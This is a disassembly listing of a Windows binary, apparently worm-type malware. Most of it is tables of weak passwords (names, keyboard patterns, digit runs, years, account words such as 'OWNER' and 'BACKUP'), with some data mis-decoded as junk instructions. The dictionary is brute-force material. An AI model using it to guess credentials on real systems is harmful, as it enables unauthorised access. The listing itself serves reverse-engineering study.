		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_428DBC
		dd offset dword_428DB8
		dd offset dword_428DB4
		dd offset dword_428DB0
		dd offset dword_428DA8
		dd offset dword_428DA0
		dd offset dword_428D98
		dd offset dword_428D8C
		dd offset loc_420927+1
		dd offset dword_428D88
		dd offset off_428D84
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_428D78	; "+"
		dd offset asc_428D74	; "++"
		dd offset asc_428D70	; "+++"
		dd offset asc_428D68	; "++++"
		dd offset asc_428D64	; "-"
		dd offset asc_428D60	; "--"
		dd offset asc_428D60	; "--"
		dd offset asc_428D58	; "----"
		dd offset asc_428D54	; "-+"
		dd offset asc_428D4C	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_428D34	; "$"
		dd offset asc_428D30	; "$$"
		dd offset asc_428D2C	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_42093C
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_4221FC	; "*"
		dd offset asc_428CDC	; "**"
		dd offset asc_428CD8	; "***"
		dd offset asc_428CD0	; "****"
		dd offset asc_428CC8	; "*****"
		dd offset asc_428CC0	; "******"
		dd offset asc_428CB8	; "*******"
		dd offset asc_428CAC	; "********"
		dd offset asc_428CA0	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
; ---------------------------------------------------------------------------
		push	60004287h
		xchg	eax, [edx+0]
		pop	eax
		xchg	eax, [edx+0]
		db	64h
		enter	42h, 54h
		xchg	eax, [edx+0]
		dec	esp
		xchg	eax, [edx+0]
		add	cl, cl
		inc	edx
		add	[eax], cl
		leave
		inc	edx
		add	[edi+eax*4+42h], al
		add	[edi+eax*4], bh
		inc	edx
		add	[edi+eax*4], dh
		inc	edx
		add	[edi+eax*4], ch
		inc	edx
		add	[edi+eax*4], ah
		inc	edx
		add	[edi+eax*4], bl
		inc	edx
		add	[eax], dl
		xchg	eax, [edx+0]
		or	[edi-7903FFBEh], al
		inc	edx
		add	al, bh
		xchg	al, [edx+0]
		lock xchg al, [edx+0]
		push	eax
		push	esi
		inc	edx
		add	[eax-13FFBD39h], dh
		xchg	al, [edx+0]
		lodsb
		mov	dword ptr [edx+0], offset aAaaa	; "aaaa"
		fadd	qword ptr [esi-792BFFBEh]
		inc	edx
		add	ah, cl
		xchg	al, [edx+0]
		rol	byte ptr [esi-794BFFBEh], 42h
		add	[eax-63FFBD7Ah], ch
		xchg	al, [edx+0]
		cwde
		xchg	al, [edx+0]
		xchg	eax, esp
		xchg	al, [edx+0]
		add	bh, 42h
		add	[ecx+42h], bl
		add	[ecx+42h], dl
		add	[esi+eax*4-797FFFBEh], cl
		inc	edx
		add	[esi+eax*4+42h], dh
		add	[eax-7Ah], ch
		inc	edx
		add	[eax], cl
		retf
; ---------------------------------------------------------------------------
		dw 42h
; ---------------------------------------------------------------------------
		pusha
		xchg	al, [edx+0]
		mov	al, 9Dh
		inc	edx
		add	[eax-7Ah], bl
		inc	edx
		add	[esi+eax*4+42h], cl
		add	[esi+eax*4+42h], al
		add	[ecx+ecx*8-79BFFFBEh], bl
		inc	edx
		add	[esi+eax*4], bh
		inc	edx
		add	[eax], bh
		xchg	al, [edx+0]
		rcl	byte ptr [edi-79CBFFBEh], 42h
		add	[esi+eax*4], ch
		inc	edx
		add	[edi+edx*4+42h], dl
		add	[esi+eax*8], bh
		inc	edx
		add	[eax], bh
		mov	byte ptr [edx+0], 34h


loc_427DE9:				; CODE XREF: .nsp0:00427E20j
		mov	byte ptr [edx+0], 2Ch
		mov	byte ptr [edx+0], 24h
		mov	byte ptr [edx+0], 1Ch
		mov	byte ptr [edx+0], 14h
		mov	byte ptr [edx+0], 8
		mov	byte ptr [edx+0], 0FCh
		lds	eax, [edx+0]
		fmul	qword ptr [ebp-6D0BFFBEh]
		inc	edx
		add	ah, ch
		xchg	eax, edx
		inc	edx
		add	[esi+eax*4], ah
		inc	edx
		add	[eax], ah
		xchg	al, [edx+0]
		sbb	al, 86h
		inc	edx
		add	[eax], bl
		xchg	al, [edx+0]
		jo	short loc_427DE9
		inc	edx
		add	[eax], dl
		xchg	al, [edx+0]
		or	[esi-79FFFFBEh], al
		inc	edx
		add	ah, bh
		test	[edx+0], eax
		mov	esp, 90004290h
		mov	dword ptr [edx+0], offset aAsdfg ; "asdfg"
; ---------------------------------------------------------------------------
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB_0		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC		; "c"
		dd offset aCc_1		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD		; "d"
		dd offset aDd		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset aG		; "g"
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_4284B0	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_0		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_428420	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_4		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
; ---------------------------------------------------------------------------
		fadd	dword ptr [ecx-7E2FFFBEh]
		inc	edx
		add	al, cl
		add	dword ptr [edx+0], offset aMnb ; "mnb"
		mov	esp, 0B4004281h
		add	dword ptr [edx+0], offset a2684	; "2684"
		movsb
		add	dword ptr [edx+0], offset a753159 ; "753159"
		xchg	eax, esp
		add	dword ptr [edx+0], offset a951753 ; "951753"
		test	[ecx-7E83FFBEh], al
		inc	edx
		add	[esi+eax*4+42h], al
		add	[eax-36h], cl
		inc	edx
		add	[ebx+ecx*8+42h], ah
		add	[ebx+ecx*8+42h], dl
		add	[eax-36h], al
		inc	edx
		add	[edx+ecx*8], bh
		inc	edx
		add	[edx+ecx*8], dh
		inc	edx
		add	[edx+ecx*8], ch
		inc	edx
		add	[eax], cl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[edx+ecx*8], ah
		inc	edx
		add	[eax], bl
		retf	42h
; ---------------------------------------------------------------------------
		adc	dl, cl
		inc	edx
		add	[eax], cl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		align 8
dword_428178	dd 10h							; .nsp0:0040AA51r ...
a142536		db '142536',0
		align 4
a753951		db '753951',0
		align 4
a951753		db '951753',0           ; DATA XREF: .nsp0:004280F1o
		align 4
a159357		db '159357',0
		align 4
a753159		db '753159',0           ; DATA XREF: .nsp0:004280E9o
		align 4
a13579		db '13579',0
		align 4
a2684		db '2684',0             ; DATA XREF: .nsp0:004280E1o
		align 4
a2486		db '2486',0
		align 4
aMnbv		db 'mnbv',0
		align 4
aMnb		db 'mnb',0              ; DATA XREF: .nsp0:004280D5o
a112233		db '112233',0
		align 10h
a3wsx		db '3wsx',0
		align 4
a3edc		db '3edc',0
		align 10h
a2qaz		db '2qaz',0             ; DATA XREF: .nsp0:004280C8o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: .nsp0:004280C4o
		align 10h
a1qaz		db '1qaz',0             ; DATA XREF: .nsp0:004280C0o
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: .nsp0:004280BCo
		align 10h
aAassdd		db 'aassdd',0           ; DATA XREF: .nsp0:004280B8o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: .nsp0:004280B4o
		align 10h
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: .nsp0:004280B0o
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: .nsp0:004280ACo
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: .nsp0:004280A8o
		align 4
aQqww		db 'qqww',0             ; DATA XREF: .nsp0:004280A4o
		align 4
aAass		db 'aass',0             ; DATA XREF: .nsp0:004280A0o
		align 4
aZzxx		db 'zzxx',0             ; DATA XREF: .nsp0:0042809Co
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: .nsp0:00428098o
		align 4
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: .nsp0:00428094o
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: .nsp0:00428090o
		align 4
aZzzz		db 'zzzz',0             ; DATA XREF: .nsp0:0042808Co
		align 4
aZzz		db 'zzz',0              ; DATA XREF: .nsp0:00428088o
aZz		db 'zz',0               ; DATA XREF: .nsp0:00428084o
		align 4
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: .nsp0:0042807Co
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: .nsp0:00428078o
		align 4
aQqqq		db 'qqqq',0             ; DATA XREF: .nsp0:00428074o
		align 4
aQqq		db 'qqq',0              ; DATA XREF: .nsp0:00428070o
aQq		db 'qq',0               ; DATA XREF: .nsp0:0042806Co
		align 4
aQ:					; DATA XREF: .nsp0:00428068o
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: .nsp0:00428064o
		align 10h
aWwwww		db 'wwwww',0            ; DATA XREF: .nsp0:00428060o
		align 4
aWwww		db 'wwww',0             ; DATA XREF: .nsp0:0042805Co
		align 10h
aWww		db 'www',0              ; DATA XREF: .nsp0:00428058o
aWw		db 'ww',0               ; DATA XREF: .nsp0:00428054o
		align 4
aW:					; DATA XREF: .nsp0:00428050o
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: .nsp0:0042804Co
		align 4
aVvvvv		db 'vvvvv',0            ; DATA XREF: .nsp0:00428048o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: .nsp0:00428044o
		align 4
aVvv		db 'vvv',0              ; DATA XREF: .nsp0:00428040o
aVv		db 'vv',0               ; DATA XREF: .nsp0:0040C5CAo
					; .nsp0:0042803Co
		align 4
aV:					; DATA XREF: .nsp0:00428038o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: .nsp0:00428034o
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: .nsp0:00428030o
		align 10h
aYyyy		db 'yyyy',0             ; DATA XREF: .nsp0:0042802Co
		align 4
aYyy		db 'yyy',0              ; DATA XREF: .nsp0:00428028o
aYy		db 'yy',0               ; DATA XREF: .nsp0:00428024o
		align 10h
aY:					; DATA XREF: .nsp0:00428020o
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: .nsp0:0042801Co
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: .nsp0:00428018o
		align 4
aTttt		db 'tttt',0             ; DATA XREF: .nsp0:00428014o
		align 4
aTtt		db 'ttt',0              ; DATA XREF: .nsp0:00428010o
aTt		db 'tt',0               ; DATA XREF: .nsp0:0042800Co
		align 4
aT:					; DATA XREF: .nsp0:00428008o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: .nsp0:00428004o
		align 10h
aSssss		db 'sssss',0            ; DATA XREF: .nsp0:00428000o
		align 4
aSsss		db 'ssss',0             ; DATA XREF: .nsp0:00427FFCo
		align 10h
aSss		db 'sss',0              ; DATA XREF: .nsp0:00427FF8o
aSs		db 'ss',0               ; DATA XREF: .nsp0:00427FF4o
		align 4
aS_4:					; DATA XREF: .nsp0:00427FF0o
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: .nsp0:00427FECo
		align 4
aUuuuu		db 'uuuuu',0            ; DATA XREF: .nsp0:00427FE8o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: .nsp0:00427FE4o
		align 4
aUuu		db 'uuu',0              ; DATA XREF: .nsp0:00427FE0o
aUu		db 'uu',0               ; DATA XREF: .nsp0:00427FDCo
		align 4
aU:					; DATA XREF: .nsp0:00427FD8o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: .nsp0:00427FD4o
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: .nsp0:00427FD0o
		align 10h
aPppp		db 'pppp',0             ; DATA XREF: .nsp0:00427FCCo
		align 4
aPpp		db 'ppp',0              ; DATA XREF: .nsp0:00427FC8o
aPp		db 'pp',0               ; DATA XREF: .nsp0:00427FC4o
		align 10h
aP:					; DATA XREF: .nsp0:00427FC0o
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: .nsp0:00427FBCo
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: .nsp0:00427FB8o
		align 4
aOooo		db 'oooo',0             ; DATA XREF: .nsp0:00427FB4o
		align 4
aOoo		db 'ooo',0              ; DATA XREF: .nsp0:00427FB0o
aOo		db 'oo',0               ; DATA XREF: .nsp0:00427FACo
		align 4
